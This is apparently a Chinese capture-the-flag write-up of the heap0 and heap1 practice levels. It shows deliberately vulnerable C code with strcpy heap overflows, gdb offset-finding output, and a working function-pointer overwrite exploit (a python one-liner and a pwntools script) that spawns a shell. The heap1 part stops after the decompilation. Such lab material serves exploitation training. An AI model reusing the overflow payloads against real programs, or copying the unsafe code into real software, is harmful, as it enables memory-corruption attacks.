heap0
源代码
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[128];
};
struct fp {
int (*fp)();
};
void winner()
{
system("/bin/sh");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
编译命令
gcc -m32 -fno-stack-protector -o heap0 heap0.c
可以检查下生成后的保护
ubuntu@ubuntu:~/heap$ checksec heap0
[*] '/home/ubuntu/heap/heap0'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
我们通过ida进行分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // ST1C_4
void (**v4)(void); // eax
void (**v5)(void); // ST18_4
dest = (char *)malloc(0x80u);
v4 = (void (**)(void))malloc(4u);
v5 = v4;
*v4 = (void (*)(void))nowinner;
printf("data is at %p, fp is at %p\n", dest, v4);
strcpy(dest, argv[1]);
(*v5)();
return 0;
}
漏洞存在于strcpy函数
利用思路
因为该程序堆是连续分配的所以在内存结构上也是连续的
所以我们需要溢出dest覆盖到v4接着修改nowinner为winner函数地址
填充量= malloc(0x80u) +第二个chunk头0x8=136
或者gdb调试
gef➤ file heap0
Reading symbols from heap0...(no debugging symbols found)...done.
gef➤ pattern create 150
[+] Generating a pattern of 150 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
[+] Saved as '$_gef0'
gef➤ r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
Starting program: /home/ubuntu/heap/heap0 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
data is at 0x804b008, fp is at 0x804b090
Program received signal SIGSEGV, Segmentation fault.
0x6261616a in ?? ()
gef➤ pattern offset 0x6261616a
[+] Searching '0x6261616a'
[+] Found at offset 136 (little-endian search) likely
gef➤
同样可以得到填充量
找到winner函数地址 0x80484CB
所以可以构造exp
./heap0 `python -c "print 'a'*136+'\xCB\x84\x04\x08'"`
这里有个小问题 用pwntools写的exp却无法利用 如果有大佬看到这篇文章 还求解答(已解决 如果你还没反应过来可以学习下argv[1]含义…感谢-SK-师傅指点 果然还是自己太差了 这里记录并且会继续努力下去)
from pwn import *
p = process('./heap0')
payload = 'A'*136+"\xCB\x84\x04\x08"
p.sendline(payload)
p.interactive()
// 错误展示...
heap1
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
system("/bin/sh");
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
编译命令
gcc -m32 -fno-stack-protector -o heap1 heap1.c
从源代码中可以看到,internet已经分配了两个结构,每个结构包含一个name单独分配的指针。这意味着 internet 在堆分配的struct将包含志强
检查保护
ubuntu@ubuntu:~/heap$ checksec heap1
[*] '/home/ubuntu/heap/heap1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开启nx
我们通过ida来分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // eax
_DWORD *v4; // ST1C_4
_DWORD *v5; // eax
_DWORD *v6; // ST18_4
v3 = malloc(8u);
v4 = v3;
*v3 = 1;
v3[1] = malloc(8u);
v5 = malloc(8u);
v6 = v5;
*v5 = 2;
v5[1] = malloc(8u);
strcpy((char *)v4[1], argv[1]);
strcpy((char *)v6[1], argv[2]);
puts("and that's a wrap folks!");
return 0;
}